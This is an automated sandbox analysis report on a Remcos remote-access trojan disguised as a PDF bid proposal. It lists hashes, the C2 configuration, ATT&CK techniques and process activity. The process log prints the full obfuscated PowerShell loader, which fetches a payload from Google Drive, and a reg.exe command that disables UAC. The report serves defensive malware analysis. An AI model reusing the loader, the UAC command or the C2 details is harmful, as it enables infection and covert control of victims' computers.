remcos | 2dab1acea5b79b5bb50211ea2b6f9c62059c5c1dc0bdd26a82e3b8a22a685330

Analysis

max time kernel
299s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-11-2024 23:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

HENIKENPLANT PROJECT PROPOSAL BID_24-0976·pdf.vbs
Size

86KB
MD5

acd9a75b2f33064da7ebef088ed16cb9
SHA1

8f51e47a0454c8032e2ecd90f85bb115e80b5f35
SHA256

cecb613e2e7877b680323862198f05c9634c1dc3e7c64ed95cc3154e9c5e9fd4
SHA512

06525377cfdc4e75fab11fd907a65c611bb9c880fe56bc68b3baa108b266e472813d3824969d6e6584c6b7d90b65379dfc633a15ef17bf24705a8195a5c657b3
SSDEEP

1536:970ty9v0kvBGd9pOpuoNvhvJELsj+qOhkqXzkx5c3cYdg51VWXaAj2yTk:9Qk9vh5U9QLzFOhbwx5c3cYdqVWrTk

Score

10^/10

remcos remotehost discovery evasion rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

dvlqrd8dhs.duckdns.org:46063

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-0IGFAQ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

Processes:

WScript.exepowershell.exemsiexec.exe

flow	pid	Process
2	1848	WScript.exe
7	4224	powershell.exe
9	4224	powershell.exe
24	5052	msiexec.exe
26	5052	msiexec.exe
28	5052	msiexec.exe
30	5052	msiexec.exe
31	5052	msiexec.exe
34	5052	msiexec.exe
35	5052	msiexec.exe
39	5052	msiexec.exe
46	5052	msiexec.exe
51	5052	msiexec.exe
53	5052	msiexec.exe
54	5052	msiexec.exe
55	5052	msiexec.exe
56	5052	msiexec.exe
57	5052	msiexec.exe
58	5052	msiexec.exe
59	5052	msiexec.exe
60	5052	msiexec.exe
61	5052	msiexec.exe
62	5052	msiexec.exe
63	5052	msiexec.exe
64	5052	msiexec.exe
65	5052	msiexec.exe
66	5052	msiexec.exe
67	5052	msiexec.exe
68	5052	msiexec.exe
69	5052	msiexec.exe
72	5052	msiexec.exe
74	5052	msiexec.exe
75	5052	msiexec.exe
76	5052	msiexec.exe
77	5052	msiexec.exe
78	5052	msiexec.exe
79	5052	msiexec.exe
80	5052	msiexec.exe
81	5052	msiexec.exe
82	5052	msiexec.exe
83	5052	msiexec.exe
84	5052	msiexec.exe
85	5052	msiexec.exe
86	5052	msiexec.exe
89	5052	msiexec.exe
91	5052	msiexec.exe
92	5052	msiexec.exe
93	5052	msiexec.exe
94	5052	msiexec.exe
97	5052	msiexec.exe
99	5052	msiexec.exe
100	5052	msiexec.exe
101	5052	msiexec.exe
102	5052	msiexec.exe
103	5052	msiexec.exe
104	5052	msiexec.exe
105	5052	msiexec.exe
106	5052	msiexec.exe
107	5052	msiexec.exe
108	5052	msiexec.exe
109	5052	msiexec.exe
110	5052	msiexec.exe
111	5052	msiexec.exe
112	5052	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
7	drive.google.com
24	drive.google.com
6	drive.google.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

Processes:

powershell.exepowershell.exe

pid	Process
4224	powershell.exe
1052	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid	Process
5052	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid	Process
1052	powershell.exe
5052	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exemsiexec.execmd.exereg.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
4264	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
4224	powershell.exe
4224	powershell.exe
1052	powershell.exe
1052	powershell.exe
1052	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid	Process
1052	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msiexec.exe

pid	Process
5052	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exemsiexec.execmd.exe

description	pid	Process	procid_target
PID 1848 wrote to memory of 4224	1848	WScript.exe	84
PID 1848 wrote to memory of 4224	1848	WScript.exe	84
PID 1052 wrote to memory of 5052	1052	powershell.exe	104
PID 1052 wrote to memory of 5052	1052	powershell.exe	104
PID 1052 wrote to memory of 5052	1052	powershell.exe	104
PID 1052 wrote to memory of 5052	1052	powershell.exe	104
PID 5052 wrote to memory of 4980	5052	msiexec.exe	106
PID 5052 wrote to memory of 4980	5052	msiexec.exe	106
PID 5052 wrote to memory of 4980	5052	msiexec.exe	106
PID 4980 wrote to memory of 4264	4980	cmd.exe	108
PID 4980 wrote to memory of 4264	4980	cmd.exe	108
PID 4980 wrote to memory of 4264	4980	cmd.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HENIKENPLANT PROJECT PROPOSAL BID_24-0976·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#electrophotometry Shadoofs Kannibalismen Unarboured Sknserklringens Aequian #><#Encipher Gangliecelles Beordret Flatterous tetracene Rvturene Flyveres #>$Recrowns='consultor';function Outdoor($Doundake){If ($host.DebuggerEnabled) {$limosella++;$pappiferous=$Doundake.'Length' - $limosella} for ( $presubordination=4;$presubordination -lt $pappiferous;$presubordination+=5){$Kloroformens84=$presubordination;$Spicae+=$Doundake[$presubordination]}$Spicae}function Correality69($Dissiderende){ .($Fejltest) ($Dissiderende)}$Kattehjemmet=Outdoor 'NoninCleieSalptUnin.HomoWSk.lEal,eb andC,kolLSporI kinENicknG ugtG no ';$Scorpiurus=Outdoor ' utoMSe.loUhyrzAfbriUnsol onbl VrdaI vi/ nv ';$Politicness=Outdoor 'MogoTDendlBoplsNo i1Affo2obsk ';$prveperiode=' Mit[SporN KalELiveT L g. Rads U bEErogr Undv BrnIShanc Cone ouP El,oTilbi ParNTovat EleMInteAFor.nAfreA NonGC rreE loR ymm]Blue:G it: NizSHjopE igncAndouJ anrmusiisel TS veyTor P epiROveroBonbtF amoVinicB edObaktlApro=R dd$ ForpBeduoRadilF.asiAenetC ari TheCLi dn OmfEFr ms GedsBort ';$Scorpiurus+=Outdoor 'Unde5Ails.Plat0St,n Pemm( oncWUn uiSeminE sedCarboYammwenepsOppo UpchNGuveTbo,i W l1 ans0 f l. Ern0Impe;Vare nonpW PariFejlnt,tr6Br.t4Stil; afs AfskxIndi6 E,t4dumm; Lun Spi rLnfrvperp:erhv1Plag3 d,d1Pror.Ki e0fyld)Brne TactGjagte Sjlc Ar k Taxo.icr/ cou2,vin0 ,il1Kalc0C,um0 Brd1Rubu0Enke1Kims OverFSor.iPa.arSk.neSkorfFlooounflx Oth/L,pi1Prim3maeg1 alk.Unde0Dobb ';$Deklasseringers=Outdoor ' niuFitnSDiffeHellrSlyn- So a hirgGaliE Ca nMan T ft ';$Informalities=Outdoor 'Vir h A ttFor tPantpErhvssin.:Irre/Vint/NonedGerarF siiRe hv one Mor. Thig esodatooA,digLuftl ManeDeso.H,rrc GraoKarimB vi/Misruvildc ffa? So eVigixLaugpSrmro O.er ammtLabi= MegdDisroCianwIsranNon lcrapoFriha esidOpla& Tori Ov dFi.g= E o1colonsa,d9 ordlKundl P vn FeslStimzunsteCa ioP ep0EfteL TilS Opl0,aeloF av9Matf8 fl,P artJBirtLBugb1Esse-,gglRNiog1F,nkQLadejStveXBlrefTittzBegreErstObesi2Don,_Ma i ';$Vidneafhringernes=Outdoor ' Sp,>Goek ';$Fejltest=Outdoor 'SkumICa seStj xun o ';$Zygal='Backupfil';$Unheretical='\Nedrykke.Fon';Correality69 (Outdoor 'Gram$BremGYel.lGtepoTrihb rgeaPrioLOutr:AcroSMet kPotay C cTFirmLrateELev RSnak=Mpso$TaphEO,ypnT buv Sam:St aANglePNdj pParrDBaita KantByggAVsel+ Rep$ RevUOctonPrephBlanEUrger,pice enTPacii SagCDemeaObo,lDe,i ');Correality69 (Outdoor 'Kamb$ LnsGFiraLQu,doNickBInmeAAn ilS am:UnenuFlleDRad.SOv rTBestYTa,kK Pagn FanidessnEndogAsynsEkstOCe tmDiskrPre a ,adaLnind eleV spT.kspSNeat=anis$BogaICedenSolvFBar,oN,naRPl em rigaSufilTrieiSte TBov iWardENoddS.dda.CevisN rdp sselSkanI verT ,ri( ,et$MarkVMastiLob,d C.rn SpieraadA Fo.FCha hP,rarvrn.iVrnenNausGSenteProvrCas.NAng,E SynSRetu)Yird ');Correality69 (Outdoor $prveperiode);$Informalities=$Udstykningsomraadets[0];$aarvaagen=(Outdoor 'Macr$,retGLendlHumbO UnaBm scAbronlBi d:Hstea Me LAngrTSjakeThisrGaddN Co,aS emrF,lmiOboea Voc=DynenBilfE SunWAtri-TummOCe.lb LamJK,imESitocN ddTR to Abmhs Pery ,lis KonTProtE,eriMP iu.,oop$Uns.kJuleaH altScooTD.arE FraHT neJP ole Demm Pr,mHad EBi ntGuld ');Correality69 ($aarvaagen);Correality69 (Outdoor 'Hypn$Sk.laKommlQue tSexteLapir ornNedgaHip.rMa si UndaNrhe.SomaH,edoeFun,aRobad D,ne nterIncos Gue[Anim$ SanDrod eGrilkMa rlFrihaOp as FibsCoale T or uti ytnS.rigNoneeAxiarPremsFae ] Sla=F nd$FalsS Valc C moO.hor Es.pSkoviAfs uOenir riguKul sTage ');$Konversabel=Outdoor 'Un e$CollaSi,dlA det PreeTangrWo,kn Orda CourTi,bi Cluasneg. C sDTeoro FilwT rtn aml rctoWeataCassd MisFhandiinddlpandeRetr( egr$ rofIIndin latf CheoSickrVarpmolieaU jvlPro iC mmtMadeiLaureRos.sKrei,Unmo$ SnaASprec SmoiFlagd ConyDeni).eks ';$Acidy=$Skytler;Correality69 (Outdoor 'Wist$h,etGDuruLFor o ontB CowA,mpiLFrow:RullsIsohMshifaLuftADaabEDozeLIlanE eklKVejbtVisur U eoMagnnTjreIlis KUnde=Li n(D nsTHeadEGletsEye tFlin-NugaPWrotAOpvetregiHVogi Rud $.jtia apsc onoi PildDkfaymem )Ejef ');while (!$Smaaelektronik) {Correality69 (Outdoor 'Kegl$yodegKalkl ModoSkrtbAbceaStril Reg:SideF asso turr SchbKikkr HepuKahagDecoeOp,utVi dsNerv=suba$RolltBedrrEr ku FroeAbso ') ;Correality69 $Konversabel;Correality69 (Outdoor ' ResSSeritNeurALoc rSoret Sky-GlumSY,llL RocEAlleERer P Pom Unse4Over ');Correality69 (Outdoor 'Ser $ BlugNippL ObjOSyvmbReplaUndelBet.: eleS.oremNe,va Co aUndieTr eLKaryEAllak AdsTBoo RDra,oJa snreceIFritk Fau= Red( Witt SkyESchiSRoteT,rov-Se iPFa.oaVa itPo uh .er ua$milsAbrugC iteILredD TykyDrom)Udv ') ;Correality69 (Outdoor 'Rens$SnregS,ntLRdnsOBa gbUnknA ForLSo i:QuadmBjerOHippM NoseNereNle,sTSt eS Ple=R nn$AcergbuttLFid,ONegaBVulkASpisl Dkk:DartB.culL FigA To aSkaimGodfEthinj Ants La e Do +Op,r+ moo%Dru $ReseUeft dRefoSZaratTr,fYStylk SylnsklriTrbeNB ddgMellsC siobackMB flrUns aGabba ityDGuv,e ,nstVrkeSbesl. F rCBronoTageuSufinPagatGenn ') ;$Informalities=$Udstykningsomraadets[$Moments]}$Landboforeningerne=309803;$presubordinationnterschool=30529;Correality69 (Outdoor 'Whit$SainG eoL reaODisoBTempa.etoLKomm:ResebUndelFriliGa.rKAr mkBurme cieSerem tn=taxl Ba.ig IndE a,st ism- c,nc JouOAmbinBedsTsangEnedknFuppTAnal C.ec$,omfA,rocCalu iSystDAb rYMidd ');Correality69 (Outdoor 'Misc$Slukg ForlSprooBearb M daLaurlLayo:S ksCnonphS.mirUndeoCenon ga oAutomSgeraOzons Af.tEsmai Nskx cyl ,ono=Jdek mil[BaraS emiy .yrsGedetRyoteEngamU kn. Li.CstupoBli n In vDem eSailrF.istRfct]Piti:Wi.n: moeFCro r eosoSerimMandBJi gaUnsmsFor,eOpo 6Kapi4ExopSAflytTramr,ongiFor.nUnwrgUnde(Tu,i$ oveBKololAfskiProokHarekA pleKarasSpi.)Numi ');Correality69 (Outdoor 'ryma$ReacgSansL RgeOMystBUnfeA dbulUaf :Fr ts PigIPropDnonrEWeanTSpirAPraglUtyslForseLystR ovvKDo sePoleNSeksESvigr,legNMorgEMechSRepa4 Aar0Vini Sted=Fern ,ngo[ChassTeleyL jrs BroTAyene ritmRe.d. Ta,tt.iaEMundXC.pit D m.Cl geGlimNRotecHalvOHanddDowni FreNAffag orm] edl: tri:KonfAgla.sFul cIndpIViv IEnam.Dokug S gETas tEmirsHydrTExtrR A li ronOnomgAm t(Tuds$S avC aldhOmbrR UdvO CalNServO rfemY,ntAlinasMetaT ,ili Am xTo t) su ');Correality69 (Outdoor 'Vel $ makgE.silShojOUnsebSal A.rcalTrne:HoppYAnt OGarnnFrdin DetaOver1 Dif7Bien0 bib=.lve$Mis.SNo oiM.dddEkseeSkd,T Zw aKa slKompLBodoeUnivRU lbkTaeneHypoNPoineTsu rmen nMurrEAnsgSO dr4Nyan0tric.jernsAnthuFo dBfrynStweeT S.ar Rv,i AppnResoG Und(P,ln$RisalBespaEle.NVrdid,gnobFiltOBondfPenuo RevRSli.e KoaNTremIU,deN T.kg D,pEKierR By nVelse,ppe, rna$Elo,PMetaR Li e ,laSgra UautobSabboDesiR ahDSlabIfangnPartahagatWhipI AmeOFowlnTabin ki THaanE BesRAnkeS HilcSeptHGruno AvaOPyroLRe l)T ng ');Correality69 $Yonna170;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#electrophotometry Shadoofs Kannibalismen Unarboured Sknserklringens Aequian #><#Encipher Gangliecelles Beordret Flatterous tetracene Rvturene Flyveres #>$Recrowns='consultor';function Outdoor($Doundake){If ($host.DebuggerEnabled) {$limosella++;$pappiferous=$Doundake.'Length' - $limosella} for ( $presubordination=4;$presubordination -lt $pappiferous;$presubordination+=5){$Kloroformens84=$presubordination;$Spicae+=$Doundake[$presubordination]}$Spicae}function Correality69($Dissiderende){ .($Fejltest) ($Dissiderende)}$Kattehjemmet=Outdoor 'NoninCleieSalptUnin.HomoWSk.lEal,eb andC,kolLSporI kinENicknG ugtG no ';$Scorpiurus=Outdoor ' utoMSe.loUhyrzAfbriUnsol onbl VrdaI vi/ nv ';$Politicness=Outdoor 'MogoTDendlBoplsNo i1Affo2obsk ';$prveperiode=' Mit[SporN KalELiveT L g. Rads U bEErogr Undv BrnIShanc Cone ouP El,oTilbi ParNTovat EleMInteAFor.nAfreA NonGC rreE loR ymm]Blue:G it: NizSHjopE igncAndouJ anrmusiisel TS veyTor P epiROveroBonbtF amoVinicB edObaktlApro=R dd$ ForpBeduoRadilF.asiAenetC ari TheCLi dn OmfEFr ms GedsBort ';$Scorpiurus+=Outdoor 'Unde5Ails.Plat0St,n Pemm( oncWUn uiSeminE sedCarboYammwenepsOppo UpchNGuveTbo,i W l1 ans0 f l. Ern0Impe;Vare nonpW PariFejlnt,tr6Br.t4Stil; afs AfskxIndi6 E,t4dumm; Lun Spi rLnfrvperp:erhv1Plag3 d,d1Pror.Ki e0fyld)Brne TactGjagte Sjlc Ar k Taxo.icr/ cou2,vin0 ,il1Kalc0C,um0 Brd1Rubu0Enke1Kims OverFSor.iPa.arSk.neSkorfFlooounflx Oth/L,pi1Prim3maeg1 alk.Unde0Dobb ';$Deklasseringers=Outdoor ' niuFitnSDiffeHellrSlyn- So a hirgGaliE Ca nMan T ft ';$Informalities=Outdoor 'Vir h A ttFor tPantpErhvssin.:Irre/Vint/NonedGerarF siiRe hv one Mor. Thig esodatooA,digLuftl ManeDeso.H,rrc GraoKarimB vi/Misruvildc ffa? So eVigixLaugpSrmro O.er ammtLabi= MegdDisroCianwIsranNon lcrapoFriha esidOpla& Tori Ov dFi.g= E o1colonsa,d9 ordlKundl P vn FeslStimzunsteCa ioP ep0EfteL TilS Opl0,aeloF av9Matf8 fl,P artJBirtLBugb1Esse-,gglRNiog1F,nkQLadejStveXBlrefTittzBegreErstObesi2Don,_Ma i ';$Vidneafhringernes=Outdoor ' Sp,>Goek ';$Fejltest=Outdoor 'SkumICa seStj xun o ';$Zygal='Backupfil';$Unheretical='\Nedrykke.Fon';Correality69 (Outdoor 'Gram$BremGYel.lGtepoTrihb rgeaPrioLOutr:AcroSMet kPotay C cTFirmLrateELev RSnak=Mpso$TaphEO,ypnT buv Sam:St aANglePNdj pParrDBaita KantByggAVsel+ Rep$ RevUOctonPrephBlanEUrger,pice enTPacii SagCDemeaObo,lDe,i ');Correality69 (Outdoor 'Kamb$ LnsGFiraLQu,doNickBInmeAAn ilS am:UnenuFlleDRad.SOv rTBestYTa,kK Pagn FanidessnEndogAsynsEkstOCe tmDiskrPre a ,adaLnind eleV spT.kspSNeat=anis$BogaICedenSolvFBar,oN,naRPl em rigaSufilTrieiSte TBov iWardENoddS.dda.CevisN rdp sselSkanI verT ,ri( ,et$MarkVMastiLob,d C.rn SpieraadA Fo.FCha hP,rarvrn.iVrnenNausGSenteProvrCas.NAng,E SynSRetu)Yird ');Correality69 (Outdoor $prveperiode);$Informalities=$Udstykningsomraadets[0];$aarvaagen=(Outdoor 'Macr$,retGLendlHumbO UnaBm scAbronlBi d:Hstea Me LAngrTSjakeThisrGaddN Co,aS emrF,lmiOboea Voc=DynenBilfE SunWAtri-TummOCe.lb LamJK,imESitocN ddTR to Abmhs Pery ,lis KonTProtE,eriMP iu.,oop$Uns.kJuleaH altScooTD.arE FraHT neJP ole Demm Pr,mHad EBi ntGuld ');Correality69 ($aarvaagen);Correality69 (Outdoor 'Hypn$Sk.laKommlQue tSexteLapir ornNedgaHip.rMa si UndaNrhe.SomaH,edoeFun,aRobad D,ne nterIncos Gue[Anim$ SanDrod eGrilkMa rlFrihaOp as FibsCoale T or uti ytnS.rigNoneeAxiarPremsFae ] Sla=F nd$FalsS Valc C moO.hor Es.pSkoviAfs uOenir riguKul sTage ');$Konversabel=Outdoor 'Un e$CollaSi,dlA det PreeTangrWo,kn Orda CourTi,bi Cluasneg. C sDTeoro FilwT rtn aml rctoWeataCassd MisFhandiinddlpandeRetr( egr$ rofIIndin latf CheoSickrVarpmolieaU jvlPro iC mmtMadeiLaureRos.sKrei,Unmo$ SnaASprec SmoiFlagd ConyDeni).eks ';$Acidy=$Skytler;Correality69 (Outdoor 'Wist$h,etGDuruLFor o ontB CowA,mpiLFrow:RullsIsohMshifaLuftADaabEDozeLIlanE eklKVejbtVisur U eoMagnnTjreIlis KUnde=Li n(D nsTHeadEGletsEye tFlin-NugaPWrotAOpvetregiHVogi Rud $.jtia apsc onoi PildDkfaymem )Ejef ');while (!$Smaaelektronik) {Correality69 (Outdoor 'Kegl$yodegKalkl ModoSkrtbAbceaStril Reg:SideF asso turr SchbKikkr HepuKahagDecoeOp,utVi dsNerv=suba$RolltBedrrEr ku FroeAbso ') ;Correality69 $Konversabel;Correality69 (Outdoor ' ResSSeritNeurALoc rSoret Sky-GlumSY,llL RocEAlleERer P Pom Unse4Over ');Correality69 (Outdoor 'Ser $ BlugNippL ObjOSyvmbReplaUndelBet.: eleS.oremNe,va Co aUndieTr eLKaryEAllak AdsTBoo RDra,oJa snreceIFritk Fau= Red( Witt SkyESchiSRoteT,rov-Se iPFa.oaVa itPo uh .er ua$milsAbrugC iteILredD TykyDrom)Udv ') ;Correality69 (Outdoor 'Rens$SnregS,ntLRdnsOBa gbUnknA ForLSo i:QuadmBjerOHippM NoseNereNle,sTSt eS Ple=R nn$AcergbuttLFid,ONegaBVulkASpisl Dkk:DartB.culL FigA To aSkaimGodfEthinj Ants La e Do +Op,r+ moo%Dru $ReseUeft dRefoSZaratTr,fYStylk SylnsklriTrbeNB ddgMellsC siobackMB flrUns aGabba ityDGuv,e ,nstVrkeSbesl. F rCBronoTageuSufinPagatGenn ') ;$Informalities=$Udstykningsomraadets[$Moments]}$Landboforeningerne=309803;$presubordinationnterschool=30529;Correality69 (Outdoor 'Whit$SainG eoL reaODisoBTempa.etoLKomm:ResebUndelFriliGa.rKAr mkBurme cieSerem tn=taxl Ba.ig IndE a,st ism- c,nc JouOAmbinBedsTsangEnedknFuppTAnal C.ec$,omfA,rocCalu iSystDAb rYMidd ');Correality69 (Outdoor 'Misc$Slukg ForlSprooBearb M daLaurlLayo:S ksCnonphS.mirUndeoCenon ga oAutomSgeraOzons Af.tEsmai Nskx cyl ,ono=Jdek mil[BaraS emiy .yrsGedetRyoteEngamU kn. Li.CstupoBli n In vDem eSailrF.istRfct]Piti:Wi.n: moeFCro r eosoSerimMandBJi gaUnsmsFor,eOpo 6Kapi4ExopSAflytTramr,ongiFor.nUnwrgUnde(Tu,i$ oveBKololAfskiProokHarekA pleKarasSpi.)Numi ');Correality69 (Outdoor 'ryma$ReacgSansL RgeOMystBUnfeA dbulUaf :Fr ts PigIPropDnonrEWeanTSpirAPraglUtyslForseLystR ovvKDo sePoleNSeksESvigr,legNMorgEMechSRepa4 Aar0Vini Sted=Fern ,ngo[ChassTeleyL jrs BroTAyene ritmRe.d. Ta,tt.iaEMundXC.pit D m.Cl geGlimNRotecHalvOHanddDowni FreNAffag orm] edl: tri:KonfAgla.sFul cIndpIViv IEnam.Dokug S gETas tEmirsHydrTExtrR A li ronOnomgAm t(Tuds$S avC aldhOmbrR UdvO CalNServO rfemY,ntAlinasMetaT ,ili Am xTo t) su ');Correality69 (Outdoor 'Vel $ makgE.silShojOUnsebSal A.rcalTrne:HoppYAnt OGarnnFrdin DetaOver1 Dif7Bien0 bib=.lve$Mis.SNo oiM.dddEkseeSkd,T Zw aKa slKompLBodoeUnivRU lbkTaeneHypoNPoineTsu rmen nMurrEAnsgSO dr4Nyan0tric.jernsAnthuFo dBfrynStweeT S.ar Rv,i AppnResoG Und(P,ln$RisalBespaEle.NVrdid,gnobFiltOBondfPenuo RevRSli.e KoaNTremIU,deN T.kg D,pEKierR By nVelse,ppe, rna$Elo,PMetaR Li e ,laSgra UautobSabboDesiR ahDSlabIfangnPartahagatWhipI AmeOFowlnTabin ki THaanE BesRAnkeS HilcSeptHGruno AvaOPyroLRe l)T ng ');Correality69 $Yonna170;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
ac6d10c510490032ffd0140e982d837b

SHA1
3a000ac04957f183c43b7bc0baaf28c70aa1e388

SHA256
3ad156bb2f4366e2805adf90623b3e50a23a7070683cffce24feba53a0e19acf

SHA512
a82fb81c29890982f73470d04c468eabb38619c3047b79f54136d65f1b20d6d18700b2080e1279b9633b6a78890674a49f7c9abebd99983c05ecf8ef68927abb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0ekt3sk5.dxx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Nedrykke.Fon

Filesize
443KB

MD5
a7622baff13af965a8174eb4e2d7feff

SHA1
35752f3ac7f996486d29ebf413cb2a5bbbf7f3dc

SHA256
5deb28e0bdc343244369ee358c45c79f3ff3c3b00b9d4e954638a7ce63a7c7e6

SHA512
ed19495f58dc68730e85ed711355dcbd84cbd600ef7a4b7028f17fde7cc40e6f06dce49f34dc6af4bd4dceb7b8fbb0c3ec652ca5b6011885ec5bd896fc9a5d86

Download Submit
memory/1052-45-0x0000000007970000-0x0000000007A06000-memory.dmp

Filesize
600KB

Download
memory/1052-44-0x0000000006C70000-0x0000000006C8A000-memory.dmp

Filesize
104KB

Download
memory/1052-25-0x0000000005120000-0x0000000005156000-memory.dmp

Filesize
216KB

Download
memory/1052-49-0x00000000090A0000-0x000000000B9A8000-memory.dmp

Filesize
41.0MB

Download
memory/1052-26-0x0000000005890000-0x0000000005EB8000-memory.dmp

Filesize
6.2MB

Download
memory/1052-29-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/1052-36-0x0000000006100000-0x0000000006454000-memory.dmp

Filesize
3.3MB

Download
memory/1052-28-0x0000000005F30000-0x0000000005F96000-memory.dmp

Filesize
408KB

Download
memory/1052-41-0x00000000066C0000-0x00000000066DE000-memory.dmp

Filesize
120KB

Download
memory/1052-42-0x0000000006750000-0x000000000679C000-memory.dmp

Filesize
304KB

Download
